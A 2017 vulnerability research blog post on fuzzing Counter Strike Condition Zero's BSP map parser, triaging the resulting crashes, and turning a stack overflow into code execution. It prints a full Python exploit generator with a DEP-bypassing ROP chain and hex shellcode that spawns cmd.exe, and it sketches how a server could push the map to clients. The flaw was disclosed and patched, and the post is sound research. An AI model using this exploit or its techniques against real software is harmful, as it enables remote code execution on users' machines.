Leaderboard

Lock and Load: Exploiting Counter Strike via BSP Map Files Jul 7, 2017 • Grant What makes Counter Strike an interesting target is that it relies on a game lobby for players to find and select servers to play on. Upon connecting to the server, the game client will automatically download any required resources (maps, textures, sounds, etc.). Once all of the resources have been downloaded, they have to be loaded and parsed from disk into memory. Only then will the client begin receiving commands and entity updates from the server. This automatic resource fetching looked like the ticket to a remotely exploitable vulnerability via a local file. The vulnerability discussed in this article has been disclosed to Valve Security and the patch publicly deployed on July 10th. I would like to extend my thanks to the Valve Security team and specifically to Alfred Reynolds who was my liaison during the disclosure process. The whole process, from initial email to fix, lasted less than 30 days. I certainly look forward to disclosing to Valve in the future. Go, go, go! - Finding Crashes My approach to finding bugs was to use the tried and true method of fuzzing. Essentially I gathered a bunch of existing BSP map files for my corpus and then used them as seeds to my fuzzing engine. This will corrupt them and then feed them back in to the program (CZ) to be parsed while being watched for any crashes. If a crash is found, it is recorded and stored for later triage and classification. I figured that highly complex file formats such as .BSP would map quite well to low-level memcpy operations in the engine. It’s even possible that stored sizes of data structures in the BSP file will be less validated than most file formats. I had a few false starts to this project when selecting a fuzzer to use. First I tried honggfuzz under Cygwin, but this proved to be completely broken for crash detection. Next I tried WinAFL which I was unable to get to work due to some binary incompatibilities and possible Windows 10 issues. This led to a multi-day rabbit hole of building DynamicRIO from source and rebuilding WinAFL against it. In the end I gave up trying to get a coverage based fuzzer to work and went instead with the solid CERT Basic Fuzzing Framework (BFF). This proved to be an excellent choice due to its easy configuration file and deep integration with Microsoft debugging tools, including WinDBG and !exploitable. I also had some relevant experience with the framework through fuzzing VLC when it used to be called Failure Observation Engine (FOE). BFF is a simple “dumb” fuzzer, meaning it merely corrupts bytes in the file and writes it back out. It has no knowledge of the BSP file format or of the target it is fuzzing. This is great for quick setup, but for more complex formats, code coverage of the parsing code may be limited. For shallow bugs, dumb fuzzing will not have much of an issue finding them. With this fuzzer in mind, I went about exploring instrumentation on the GoldSrc engine. When running a game on this engine, the executable hl.exe boots, loads common engine resources, and then loads a game specific DLL (known as a client DLL or cl_dll) which drives the engine via a proxy API. This API and the associated utilities are the primary SDK interface that many game modders deal with. Technically Counter Strike 1.6 (cstrike) and Condition Zero (czero) are both considered “mods” as they merely use the proxy API for gameplay. When running a mod like CZ, the engine command line looks like: hl.exe -game czero $OTHER_ARGS. In order to quickly iterate through map files, I looked up the command line flags for starting the engine with CZ and to load a map upon start. This is the command line I used: C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hl.exe -game czero -dev -window -console +sv_lan 1 +map MAP_NAME where -window makes it so I can fuzz and browse the web at the same time, sv_lan 1 makes a local-only server, and map immediately changes the map on login. With the ability to programmatically run the engine, I installed BFF, Debugging Tools for Windows, and then started configuring BFF. BFF installs to C:\BFF by default and has the concept of a fuzzing campaign. I started a new one for CZ and then edited the bff.yaml configuration file: campaign: id: counter strike czero keep_heisenbugs: False use_buttonclicker: False target: program: C:\Users\MyName\.babun\cygwin\bin\bash.exe cmdline_template: $PROGRAM -c '"C:/BFF/mover.sh" $SEEDFILE "C:/Program Files (x86)/Steam/steamapps/common/Half-Life/hl.exe" -game czero -dev -window -console +sv_lan 1 +map aim_fuzz' NUL ... directories: seedfile_dir: seedfiles\bsp working_dir: fuzzdir results_dir: results ... fuzzer: fuzzer: bytemut fuzz_zip_container: False Everything except program, cmdline_template, and seedfile_dir are the defaults. Notice that this cmdline isn’t just running hl.exe. This is because I ran into problems getting the corrupted BSP file to be read by the engine. GoldSrc has a dedicated, per-mod resource directory and will not load resources based on an absolute path. Hence, I made a bash script under Cygwin to first move the generated BSP file to the resource directory as aim_fuzz.bsp. It’s a simple three-liner, it gets the job done, and doesn’t affect crash detection due to exec: /bin/cp "$1" "c:\\Program Files (x86)\\Steam\\steamapps\\common\\Half-Life\\czero_downloads\\maps\\aim_fuzz.bsp" shift exec "$@" It’s unfortunate that BFF doesn’t support post-processing fuzzed files like honggfuzz does, since this would have eliminated the need for this hack. With the fuzzer set up, I copied all of the map files less than 3.0 MB from my czero_downloads/maps folder into the seedfiles\bsp directory. This left me with 74 map files as seeds. I could have used more, but as you will see, finding crashes was not that difficult. Fire in the Hole! - Triaging Crashes After running for less than a day on a single Windows 10 x64 machine, 43 crashes were found. It’s no surprise that the BSP parsing turned up a lot of unique crashes as it’s a complex file format combining many different data objects into one format. Here’s the crash breakdown by predicted severity: 3 - EXPLOITABLE 5 - PROBABLY_EXPLOITABLE 35 - UNKNOWN Thanks to MSEC’s !exploitable, most of the hard crash triage was already done. Each crash folder had the minimized test case along with a full WinDBG log and !analyze output. In order to reproduce these crashes, BFF provides a nice script called repro.py. Running python C:\BFF\tools\repro.py -w PATH_TO_FUZZED_FILE will drop you into a WinDBG GUI for further investigation. With that, let’s take a look at the three EXPLOITABLE crashes. Crash #1 Now this looks interesting. EIP looks like ASCII which might mean we have control over it! ... Spawn Server aim_fuzz Clearing memory Using WAD File: uacyber_stproz.wad Using WAD File: as_tundra.wad Using WAD File: halflife.wad Using WAD File: cs_dust.wad Using WAD File: cs_cbble.wad Texture load: 56.7ms WARNING: failed to locate sequence file aim_fuzz "sv_maxspeed" changed to "900" GAME SKILL LEVEL:1 "pausable" changed to "0" Executing listen server config file (465c.4c78): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 44334143 ?? ??? ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44334143 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x1e2606b6.0x1e2606b6 Hash Usage : Stack Trace: Major+Minor : Unknown Instruction Address: 0x0000000044334143 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044334143 (Hash=0x1e2606b6.0x1e2606b6) Unfortunately further investigation showed that this wasn’t the case and EIP just coincidentally got an ASCII-only value. Let’s dive into IDA to investigate…but where was the original faulting instruction? How did we get to 0x44334143? This called for some WinDBG learning. I needed a way to know what the last instruction was right before the DEP violation. Originally before writing this post, I had single stepped WinDBG until arriving at the faulting address. But now when I reproduce the crash I’ve come to realize that the backtrace contains the last stack frame. If this crash had caused stack corruption then this approach wouldn’t have worked, since stack corruption would have corrupted the stack frames (i.e. the saved EBP value). 1:005:x86> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0019f2c0 00000000 028e433d 10342a7c 10342a88 0x44334143 1:005:x86> r eax=00000080 ebx=10342a88 ecx=10342a7c edx=1069d298 esi=106e4b34 edi=10342938 eip=44334143 esp=0019f2c4 ebp=0019f2e4 iopl=0 ov up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a16 44334143 ?? ??? I tried visiting 0x28e433d in IDA and I saw this function call: Stepping into this function showed this: It looks like the jmp target has been controlled from a starting offset via EAX. It looks like an attempt was made to prevent the function pointer index from going above 7, but JGE on x86 is a signed comparison! This means that EAX can go negative (0x80 - 0xff) and pass the check as this signed char is casted to unsigned char for the jump. In WinDBG at the time of the crash, EAX was 0x80. Doing some pointer math of 0x297bad4+[0x80∗4]=0x297bcd40x297bad4+[0x80∗4]=0x297bcd4 and then a lookup in IDA shows at the calculated address: If you notice, the CA3D string matches perfectly to our crashing address, except it’s bytes are reversed. The hex dump confirms this: So what we have is a controlled function pointer load and transfer within a range of 127 DWORDs. This read occurs from the .data section, which is read-write, but from this point, we’d have to find a controlled place in this tight range to write a known code address. With this understanding and a bit of disappointment I moved on to the other crashers to see if I’d have any better luck. Crash #2 The next crash turns out to be a little bit more interesting but not obviously easier to get code execution ... Adding: czero/dlls\mp.dll ModLoad: 00000000`256d0000 00000000`25860000 c:\program files (x86)\steam\steamapps\common\half-life\czero\dlls\mp.dll Dll loaded for mod Condition Zero ModLoad: 00000000`607e0000 00000000`6086e000 c:\program files (x86)\steam\steamapps\common\half-life\platform\servers\serverbrowser.dll ModLoad: 00000000`61700000 00000000`61757000 C:\Program Files (x86)\Steam\steamapps\common\Half-Life\vstdlib.dll MP3_InitStream(30, sound\music\downed_intro.mp3) successful Spawn Server aim_fuzz Clearing memory (61b8.7004): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x3f53f: 0285f53f 8906 mov dword ptr [esi],eax ds:002b:77023e00=5d00191d ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception ** ERROR: Symbol file could not be found. Defaulted to export symbols for hl.exe - Exception Faulting Address: 0x77023e00 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Faulting Instruction:0285f53f mov dword ptr [esi],eax Exception Hash (Major/Minor): 0xdfa48bac.0x58d60243 Hash Usage : Stack Trace: Major+Minor : hw+0x3f53f ... Minor : ntdll_77470000!_RtlUserThreadStart+0x1b Instruction Address: 0x000000000285f53f Description: User Mode Write AV Short Description: WriteAV Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at hw+0x000000000003f53f (Hash=0xdfa48bac.0x58d60243) From this crash log, it looks like we have control over ESI. Further investigation in IDA and some reverse code lookups in ReHLDS found the original function: void Mod_LoadTextures(lump_t *l) { dmiptexlump_t *m; miptex_t *mt; ... char dtexdata[348996]; ... texture_t *tx; wads_parsed = 0; starttime = Sys_FloatTime(); if (!tested) Mod_AdInit(); if (!l->filelen) { loadmodel->textures = 0; return; } m = (dmiptexlump_t *)(mod_base + l->fileofs); // looks like we corrupted a lump header m->_nummiptex = LittleLong(m->_nummiptex); // the crashing line loadmodel->numtextures = m->_nummiptex; loadmodel->textures = (texture_t **)Hunk_AllocName(4 * loadmodel->numtextures, loadname); ... Looks like a corrupted lump fileofs which caused a bad pointer dereference on line 468. This is interesting as we have control over the entire lump contents, but it’s going to require some more reading to figure out how to achieve code execution. Overall this function is a mess of direct pointer arithmetic and there are bound to be many more ways to make this function crash. Some more digging would probably yield a write-what-where primitive, but I moved on to the next crash to see if it was easier to exploit. Crash #3 The last crash turned out to be quite interesting. The fuzzed BSP file was based upon the map awp_snowsk337.bsp (a really fun map). Here is the WinDBG output of the two crashing exceptions: ... Spawn Server aim_fuzz Clearing memory Texture load: 50.3ms (ab5c.72b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x4ddd7: 0286ddd7 8941f8 mov dword ptr [ecx-8],eax ds:002b:001a0000=78746341 ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x1a0000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Exception Hash (Major/Minor): 0xfa8446e7.0xb321cd22 Hash Usage : Stack Trace: Major+Minor : hw+0x4ddd7 ... Minor : Unknown Instruction Address: 0x000000000286ddd7 Description: Exception Handler Chain Corrupted Short Description: ExceptionHandlerCorrupted Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at hw+0x000000000004ddd7 (Hash=0xfa8446e7.0xb321cd22) And when continuing from this first chance exception to the Structured Exception Handler (SEH): 1:005:x86> g;$$Found_with_CERT_BFF_2.8;r;!exploitable -v;q ModLoad: 70e20000 70e33000 C:\WINDOWS\SysWOW64\dhcpcsvc6.DLL ModLoad: 70e00000 70e14000 C:\WINDOWS\SysWOW64\dhcpcsvc.DLL (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=44980000 edx=774f2d90 esi=00000000 edi=00000000 eip=44980000 esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 44980000 ?? ??? !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44980000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x918f89cc.0x7f62488f Hash Usage : Stack Trace: Major+Minor : Unknown Excluded : ntdll_77470000!ExecuteHandler2+0x26 Excluded : ntdll_77470000!ExecuteHandler+0x24 Excluded : ntdll_77470000!KiUserExceptionDispatcher+0xf Excluded : Unknown ... Excluded : Unknown Instruction Address: 0x0000000044980000 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044980000 called from Unknown Symbol @ 0xffffffffc40e0000 (Hash=0x918f89cc.0x7f62488f) This crash transferred control to the default SEH on the stack, the trigger being an access violation after dereferencing the stack guard page. It looks like a nearly unlimited buffer overflow which is exactly the type of exploitability I was looking for. BFF happens to provide some heuristics to determine the “Exploitability Rank” and it gave this a 5/100 (lower is better). Crash #1 had a score of 20 (possibly exploitable) and Crash #2 a 100 (no way). The SEH handler’s address was overwritten to 0x44980000, which happens to be the float value of 1216.0. A quick search of the corrupted file with 010 Editor yielded hundreds of values like this. In order to determine the exact value that would give us control over the SEH handler, I wrote a script to incrementally replace each found value with an incrementing float value. Rerunning with the new BSP file yielded a file offset of 0x4126C bytes. Now I had control over EIP! Observe: 1:005:x86> r (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=deadbeef edx=774f2d90 esi=00000000 edi=00000000 eip=deadbeef esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 deadbeef ?? ??? From this point (due to DEP) I needed to ROP out of the exception handler frame and back to the old stack. For this I needed a special gadget of the form pop REG32, pop REG32, pop esp, ret or similar. The next tool that helped me start ROPing was !mona running under Immunity DBG. Using mona’s “findwild” gadget search, I tried to find an appropriate stack pivot in non-ASLR’d, non-rebased modules, but I was unable to after many hours of poring over gadgets. This was quite disappointing. Luckily I still had complete control over the stack frame, so all I needed to do was to find out how to overwrite the saved return address for the function. Dropping into IDA revealed a reasonably simple function (Note: this function was difficult to understand at first and to took me a while to understand the mapping from the BSP file to the code. This is the finished version before I found the source code online and learned the real names and data types. Many days of hard work are being glossed over.) int __cdecl GL_SubdivideSurface(MapInfo *object) { signed int numVerts; // ecx@1 int numVertsToProc; // edi@1 struct_gData *bObject; // edx@2 int initialIndex; // esi@2 float *pVEC3DATA; // ecx@2 int indexPos; // esi@2 signed int index; // edi@3 int offset; // eax@4 float *pVEC3; // eax@6 float VEC3DATA[192]; // [sp+4h] [bp-304h]@2 int numVertsStack; // [sp+304h] [bp-4h]@2 int vec3Count; // [sp+310h] [bp+8h]@2 numVerts = 0; g_modVuln = object; numVertsToProc = object->numVerts; if ( numVertsToProc > 0 ) { bObject = g_CurBObject; initialIndex = object->initialIndex; // 00002c4c pVEC3DATA = &VEC3DATA[1]; vec3Count = object->numVerts; // initially 0x9c (this was corrupted from fuzzer) indexPos = initialIndex; numVertsStack = numVertsToProc; do { index = bObject->INDEX_BUFFER[indexPos]; if ( index <= 0 ) offset = bObject->VERTEX_BUFFER_INDEX[-4 * index + 1]; else offset = bObject->VERTEX_BUFFER_INDEX[4 * index]; ++indexPos; pVEC3DATA += 3; pVEC3 = &bObject->VECTOR_DATA[3 * offset]; *(pVEC3DATA - 4) = *pVEC3; *(pVEC3DATA - 3) = pVEC3[1]; *(pVEC3DATA - 2) = pVEC3[2]; // overwrite here --vec3Count; } while ( vec3Count ); numVerts = numVertsStack; } return SubdivideSurface(numVerts, (int)VEC3DATA);// if numverts == 0, this function returns quick } By reading the excellent IDA decompiled source with struct types, I determined that BFF had corrupted the vec3Countvariable. This caused more than 64 VEC3 (three 4-byte floats) to be placed into the VEC3DATA struct causing the numVertsStack and vec3Count variables to be corrupted. vec3Count was corrupted to a large number, which is why we saw the exception at 0286ddd7 mov dword ptr [ecx-8],eax when it overwrote the guard page. Get out of there, it’s gonna blow! - Exploiting the Crash At this point I still need to solve three problems in order to gain code execution: Where in the BSP file maps to the VECTOR_DATA, INDEX_BUFFER and VERTEX_BUFFER_INDEX data streams? How do I bypass the SubdivideSurface function so that the GL_SubdivideSurface returns? How do I disable DEP and start running shellcode? Problem #1 I did some more digging with 010 Editor (this tool proved so invaluable that I bought it) and using a similar approach to finding the SEH handler offset, I found the starting offsets for all three buffers. There was some guessing and fudging of the numbers to get things just right, but it worked for the file I was corrupting, so I didn’t worry about perfecting it. In possible future BSP exploits, I’d like to understand more about the file format in order to create more knowledgeable exploit generators. My first effort towards this has been the creation of an 010 Editor binary template file for parsing out the Half-Life 1 BSP format (version 30 with no magic FourCC value in the header). 010 Editor is my go to tool for reverse engineering and viewing binary file formats. The BSP format has many versions and modifications. The Half-Life 1 version is documented here. In short, BSP is made up of “lumps” which are just blocks of bytes that have a defined data structure, such as textures, vertices, edges, faces, entities, etc. Through fuzzing, different parts of the lumps will be affected, which will affect the parsing of the file. Problem #2 The GL_SubdivideSurface function must return in order to pop the corrupted saved return address off the stack, but there is a tail call of SubdivideSurface which prevents this. Also there is a bounds check on the numVerts which limits it to 60 (not enough to overflow important data). int __cdecl SubdivideSurface(signed int numVerts, int object) { if ( numVerts > 60 ) sub_28C8450("numverts = %i", numVerts); sub_286D4C0(numVerts, (float *)object, (int)v35, (int)v31); for ( i = 0; ; ++i ) { if ( i >= 3 ) { result = sub_28E5D30(28 * (numVerts - 4) + 128); v26 = result; *(_DWORD *)result = gWarpface->field_24; *(_DWORD *)(result + 12) = *(_DWORD *)&gWarpface->gap0[8]; gWarpface->field_24 = result; *(_DWORD *)(result + 8) = numVerts; v30 = 0; while ( v30 < numVerts ) { ... } return result; // we want to reach here to exit quickly } v2 = (v35[i] + v31[i]) * 0.5; v24 = floor(v2 / 64.0 + 0.5) * 64.0; if ( v31[i] - v24 >= 8.0 && v24 - v35[i] >= 8.0 ) break; } ... SubdivideSurface(v34, (int)&v39); return SubdivideSurface(v46, (int)&v43); } Further reading of this function made me realize that if could I can somehow change the numVerts input argument then I could quickly bypass this function. To my luck, the GL_SubdivideSurface stack frame had numVerts right below the overflowed buffer. This meant that I could control the variable to fake the number of vertices processed SubdivideSurface, effectively bypassing it. Problem #3 With the knowledge of where to place my data in the BSP file (to cause reliable bytes to be placed on the stack), I just needed a nice ROP chain that would allow me to disable DEP on the current stack page and then jump to my shellcode. Mona to the rescue! Simply running !mona rop and waiting an hour I was left with a nice, DEP-disabling ROP chain. I also learned that you can use VirtualAlloc on already allocated memory to set flags, just like VirtualProtect. I initially tried to use VirtualProtect, but none of the safe modules had any references to it. Only four modules were available for ROP gadgets in the process: hl.exe, filesystem_stdio.dll, hw.dll, steamclient.dll, and icudt.dll. Unfortunately the reliability of this exploit was limited due to the heavy usage of gadgets from steamclient.dll, which changes on every steam update. This actually happened during my exploitation process, necessitating a re-generation of my gadgets. What a pain! Hours of debugging and testing with WinDBG later, I had successfully confirmed that this ROP chain was working! All I needed was to change my exploit script to add in some shellcode and I was golden. I found some Windows Universal cmd.exe shellcode from Shell Storm and BOOM! Command prompt appeared. Check out a video of it in action Here is the complete exploit code that I wrote to get control over the BSP file and get code running: #!/usr/bin/env python # Counter Strike: Condition Zero BSP map exploit # By @Digital_Cold Jun 11, 2017 from binascii import hexlify, unhexlify from struct import pack, unpack import math import mmap import logging fmt = "[+] %(message)s" logging.basicConfig(level=logging.INFO, format=fmt) l = logging.getLogger("exploit") # Specific to the file INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int] VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short] VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float] NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash # No longer used as could not find a gadget to 'pop, pop, pop esp, ret' # SEH_OVERWRITE_OFF = 0x4126C # Initial offset into the index buffer where the function to exploit resides INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already # INDEX_BUFFER # 0: 20 # 1: 10 # 2: 2 --> Vertex Buffer Indexes # VERTEX BUFFER INDEXES # 0: 1 # 1: 2 # 2: 4 --> Vertex Data # VERTEX DATA # 0: 1.23, 23423.0, 3453.3 # 1: 1.23, -9.0, 3453.3 # 2: 1.0, 1.0, 1.0 # 3: 1.0, 1.0, 1.0 # 4: 0.0, 1.0, 0.0 # Example: # a = INDEX_BUFFER[2] ; a = 2 # b = VERTEX_BUFFER[a] ; b = 4 # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0 def dw(x): return pack("I", x) def main(): target_file = "eip-minimized.bsp" output_file = "exploit-gen.bsp" print "GoldSource .BSP file corruptor" print " by @Digital_Cold" print l.info("Corrupting target file %s" % target_file) # Read in and memory map target file fp = open(target_file, 'rb') mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY) fp.close() VEC3_COUNT = 63 # then come Saved EBP and return address start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET second_idx = VERTEX_BUFFER_INDEXES_OFF vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults l.info("Writing to index buffer offset %08x...", start_idx) l.info("Vertex buffer indexes start %08x", second_idx) l.info("Vertex data at %08x", vertex_data_start) data_buffer = [] for i in range(VEC3_COUNT): for j in range(3): data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory data_buffer.append("\x00\x00\x00\x00") # dont care data_buffer.append("\x00\x00\x00\x00") # unk1 data_buffer.append("\x00\x00\x00\x00") # unk2 data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call) data_buffer.append("\x00\x00\x00\x00") # EBP data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe] # XXX: bug in mona. This is a ptr to VirtualProtectEx!! # 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll] """ Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD -------------------------------------------- """ # START ROP CHAIN # DEP disable ROP chain # rop chain generated with mona.py - www.corelan.be # # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio rop_gadgets = [ #0x3808A308, # INT3 # RETN [steamclient.dll] 0x38420ade, # POP EDX # RETN [steamclient.dll] 0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll] 0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll] 0x381ebdc1, # POP EBP # RETN [steamclient.dll] 0x381f98cd, # & jmp esp [steamclient.dll] 0x387885ac, # POP EBX # RETN [steamclient.dll] 0x00000001, # 0x00000001-> ebx 0x384251c9, # POP EDX # RETN [steamclient.dll] 0x00001000, # 0x00001000-> edx 0x387cd449, # POP ECX # RETN [steamclient.dll] 0x00000040, # 0x00000040-> ecx 0x386c57fe, # POP EDI # RETN [steamclient.dll] 0x385ca688, # RETN (ROP NOP) [steamclient.dll] 0x0140b00e, # POP EAX # RETN [hl.exe] 0x90909090, # nop 0x385c0d3e, # PUSHAD # RETN [steamclient.dll] ] # Can be replaced with ANY shellcode desired... # http://shell-storm.org/shellcode/files/shellcode-662.php shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \ "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \ "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \ "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \ "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \ "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \ "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \ "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \ "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \ "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \ "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \ "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \ "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \ "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \ "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \ "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \ "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \ "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \ "\x24\x20\x57\xFF\xD0" shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash) shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode_dwords = int(math.ceil(len(shellcode)/4.0)) extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0)) # Loop count (needs to be the exact amount of ROP we want to write data_buffer.append(dw(extra_dwords)) for addr in rop_gadgets: data_buffer.append(dw(addr)) for b in range(shellcode_dwords): data = "" for byte in range(4): idx = byte + b*4 # pad to nearest DWORD with INT3 if idx >= len(shellcode): data += "\xcc" else: data += shellcode[idx] data_buffer.append(data) second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before # we can exploit the function # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW #mmfile[NUM_EDGES_OFF] = pack("B", 0x41) for i in range(int(math.ceil(len(data_buffer)/3.0))): mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i) mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i) second_idx += 2 # required because the game loads every-other word # This data will now be on the stack for j in range(3): sub_idx = j*4 + i*0xc data_idx = i*3 + j towrite = "" if data_idx >= len(data_buffer): towrite = "\x00"*4 else: towrite = data_buffer[i*3 + j] mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx)) # write out the corrupted file outfile = open(output_file, "wb") outfile.write(mmfile) outfile.close() l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file)) l.info("Copy to game maps/ directory!") if __name__ == "__main__": main() As you can see, the exploit code is quite hardcoded to the map file. The shellcode and ROP chain are stored in the LUMP_VERTICES section and the LUMP_EDGES and LUMP_SURFEDGES are hijacked to get the function to read from an exact spot in the vertices lump. With more understanding of the BSP format combined with a parser, this exploit code would not have to guess offsets and it could just edit exact positions. Here’s the output when running the exploit { cscz-bsp } > ./exploit.py GoldSource .BSP file corruptor by @Digital_Cold [+] Corrupting target file eip-minimized.bsp [+] Writing to index buffer offset 0009e010... [+] Vertex buffer indexes start 000a9174 [+] Vertex data at 00043f7c [+] Wrote 2478632 byte exploit file to exploit-gen.bsp [+] Copy to game maps/ directory! Given that this vulnerability is now patched, it’s unlikely that this exploit will be of any use. Here is the exploit packagethat I sent Valve in my report. The shellcode and ROP chain are different, but the concept is the same. Remote Exploitation While developing this exploit I explored the idea of hosting it on a server. The only issue I ran into was getting the server itself to not crash when loading the map file. I came up with a possible method of hosting a malicious map file on a server. Due to the map crashing the server, what about not letting the server load the map? Instead have it load the legitimate map and then have the client download the map via HTTP as configured by the sv_downloadurl in your server.cfg. This variable was created to alleviate the slow download speeds when downloading directly from the Half-Life Dedicated Server (HLDS). Maps and other resources can be hosted directly under any HTTP server, such as nginx or apache, which will improve resource download speed. All we need the client to do is to start loading the map. At this point the vulnerability will be triggered and it won’t matter that the maps don’t match. Unfortunately map files are checksumed by the client and server (via CRC_MapFile). During the initial server connection, the client will compare its map checksum to the servers. If they don’t match, it will exit. I believe the approach to bypass this would be to modify the server binary to bypass or load a constant CRC value. I didn’t get this far, but I looked into it. Half-Life Security Improvements While developing the BSP exploit, I noted some key changes to the Half-Life GoldSrc Windows build process that would hamper future vulnerability impact and exploit development ease: Ensure that ASLR is enabled for hl.exe, steamclient.dll, and filesystem_stdio.dll Impact: This will limit the number of fixed address ROP gadgets available to attackers without a corresponding ASLR break via memory leak. Fix: Add /DYNAMICBASE to linker flags. Enable SafeSEH for all loaded modules, (hl.exe and filesystem_stdio.dll are missing it) 